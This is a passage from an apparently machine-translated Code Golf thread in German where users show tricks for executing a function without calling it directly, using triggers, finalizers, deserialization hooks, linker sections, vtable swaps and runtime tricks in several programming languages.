INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Ergebnisse:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Sehr Streich. Solcher Lulz. Beeindruckend.

Bastel es auf SQLFiddle.


2
Trigger bekommen mich als Anwendungsentwickler immer, ich erwarte sie nie.
Matthew

7

JavaScript

In der Firefox-Konsole:

    this.toString = function(){alert('Wow')};

Geben Sie dann einfach etwas in die Konsole ein - Firefox ruft .toString()mehrmals auf, wenn Sie in die Konsole tippen.

Ein ähnlicher Ansatz ist:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

Plattform der Wahl ist Linux. Wir können unsere Funktion nicht aufrufen, also lassen wir sie stattdessen von unserem Linker ausführen:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Wie erhalte ich die magische Adresse?

Wir verlassen uns auf die Linux Standard Base Core-Spezifikation, die besagt:

.fini_array

Dieser Abschnitt enthält ein Array von Funktionszeigern, die zu einem einzelnen Beendigungsarray für das ausführbare oder gemeinsam genutzte Objekt beitragen, das den Abschnitt enthält.

  1. Kompilieren Sie den Code:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Überprüfen Sie die Adresse von .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Finden Sie die VMA davon:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

und ersetze diesen Wert für ADDRESS.


5

VB6 und VBA

Nicht sicher, ob dies qualifiziert ist oder nicht, da es eine Methode einer Klasse aufruft:

Dies geht in einem Klassenmodul:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

Und das ist der "aufrufende" Code:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Dies funktioniert durch Austauschen der Funktion vptr für die beiden Subs in der vtable für die Klasse.


Alter, du bist gefährlich ! Schön!
Mathieu Guindon

Ich würde sagen, es ist qualifiziert, weil in VB6 / VBA eine Methode Mitglied einer Klasse ist - ansonsten ist es eine Prozedur ;)
Mathieu Guindon

5

Haskell

In haskell, wenn Sie:

main=putStrLn "This is the main action."

Es wird sofort ausgeführt, ohne seinen Namen zu nennen, wenn Sie es ausführen. Magie!


1
Haskell zählt nicht. Sie können eine E / A-Aktion nicht aufrufen, sondern nur weitere E / A-Aktionen verketten oder irgendwo zuweisen.
John Dvorak

Es ist das äquivalente Konzept für E / A-Aktionen.
PyRulez

5

Javascript

Einfach, verwenden Sie einfach on___Ereignisse in JS. Zum Beispiel:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

Andere Java-Antwort von mir. Wie Sie im Code sehen, ruft es direkt auf theCalledMethod, aber die Methode notCalledMethodwird stattdessen ausgeführt.

Am Ende mache ich also zwei Dinge:

  • Eine Methode aufrufen, ohne sie aufzurufen.
  • Keine Methode durch Aufrufen aufrufen.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Laufen es:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Dies ist plattformabhängig. Insbesondere wird es wahrscheinlich unter OS X fehlschlagen, wo die Plattform-Standardzeichencodierung UTF-8 ist.
ntoskrnl

@ntoskrnl Dies sollte leicht zu beheben sein, wenn Sie den Codierungsnamen als Parameter an die getBytes()Methode übergeben und diese aktivieren getBytes("UTF-8"). Könnten Sie testen, ob dies funktioniert, da ich kein OS X besitze?
Victor Stafusa

UTF-8 funktioniert nicht für Binärdaten. Eine Einzelbyte-Codierung wie ISO-8859-1 sollte funktionieren, die Behandlung von Binärdaten als Zeichenfolge ist jedoch immer noch falsch.
ntoskrnl

3
@ntoskrnl Tatsächlich ist das Vergewaltigen von Klassendateien für das, was ich hier tue, falsch, die Kodierung ist das kleinste der Probleme. :)
Victor Stafusa

4

Python

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

Ja, Müllabfuhr!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Eine Version für diejenigen, die unweigerlich sagen, dass System.gc()das unzuverlässig ist:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Ziel c

(Wahrscheinlich nur, wenn unter Mac OS X mit Clang kompiliert)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Dieser Code verwendet mehrere Tricks, um zur nicht verwendeten Funktion zu gelangen. Erstens ist der Wert 0x2A27. Dies ist ein markierter Zeiger für die Ganzzahl 42, die den Wert im Zeiger codiert, um die Zuweisung eines Objekts zu vermeiden.

Weiter ist MyClass. Es wird nie verwendet, aber die Laufzeit ruft die +loadMethode beim Laden vorher auf main. Dadurch wird dynamisch eine neue Klasse erstellt und registriert, die NSValueals Oberklasse verwendet wird. Es wird auch eine +loadMethode für diese Klasse hinzugefügt, die MyClass's -unusedMethodals Implementierung verwendet. Nach der Registrierung wird die load-Methode für die neue Klasse aufgerufen (aus irgendeinem Grund wird sie nicht automatisch aufgerufen).

Da die Lademethode der neuen Klasse dieselbe Implementierung wie verwendet unusedMethod, wird dies effektiv aufgerufen. Es nimmt die Superklasse von sich und fügt sie unusedFunctionals Implementierung für die doesNotRecognizeSelector:Methode dieser Klasse hinzu . Diese Methode war ursprünglich eine Instanzmethode von MyClass, wird jedoch als Klassenmethode für die neue Klasse aufgerufen, ebenso wie selfdas neue Klassenobjekt. Daher ist die Superklasse NSValue, für die auch die Superklasse ist NSNumber.

Endlich mainläuft. Es nimmt den Zeigerwert und speichert ihn in einer NSString *Variablen (die __bridgeund erste Umwandlung, void *um dies mit oder ohne ARC zu ermöglichen). Dann wird versucht, stringByAppendingString:diese Variable aufzurufen . Da es sich tatsächlich um eine Zahl handelt, die diese Methode nicht implementiert, doesNotRecognizeSelector:wird stattdessen die Methode aufgerufen, die durch die Klassenhierarchie dahin wandert, NSValuewo sie mit implementiert wird unusedFunction.


Hinweis: Die Inkompatibilität mit anderen Systemen ist auf die Verwendung von getaggten Zeigern zurückzuführen, die meines Erachtens nicht von anderen Implementierungen implementiert wurden. Wenn dies durch eine normal erstellte Nummer ersetzt wird, sollte der Rest des Codes einwandfrei funktionieren.


Hm, versuchen Sie es mit ciruZ 'ObjFW , es ist eine ziemlich anständige Objective-C-Laufzeit und ein ordentliches Framework, vielleicht funktioniert dies oder etwas
Ähnliches auch damit ;-)

@mirabilos Die einzige Inkompatibilität ist der 0x2A27Wert, daher weiß ich nicht, ob das irgendwo anders implementiert ist. ObjFW ist auf jeden Fall interessant.
Ughoavgfhw


@ Bryan Danke! Ich suchte genau diesen Artikel und konnte mich nicht an den richtigen Namen erinnern.
Ughoavgfhw

@ BryanChen ah okay. ughoavgfhw: Klar, ich wollte nur auf die alternative Laufzeit hinweisen, falls Sie damit spielen wollen.
Mirabilos

3

Javascript

Ich habe das Gefühl, dass dies nicht explizit so aussieht, als würde es die Funktion aufrufen

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Ziemlich grenzwertig, wenn du mich fragst.
Cole Johnson

@ColeJohnson Ich glaube, er hat es bereits überschritten ...
Tomas

3

C # (via using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Ich nutze eine Besonderheit der Java-Serialisierung. Die readObjectMethode wird aufgerufen, wenn ein Objekt deserialisiert wird, aber nicht direkt aufgerufen wird - weder von meinem Code noch von der Deserialisierungsbibliothek. Wenn Sie tief in die Quelle eintauchen, werden Sie feststellen, dass die Methode auf niedriger Ebene intern über Reflektion aufgerufen wird.


Ja; Serialisierung erlaubt ziemlich lustige Witze :); btw Theres sind ähnliche Weise in anderen Serialisierung spielt für Java
masterX244

3

Perl

Das ist so einfach. Der folgende Code führt automatisch Code im Unterprogramm aus, auch ohne expliziten Aufruf.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Auch wenn Sie den Anruf auskommentieren, wird er nur einmal aufgerufen.


Wie? kann nicht hinter die Magie +
MasterX244
Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.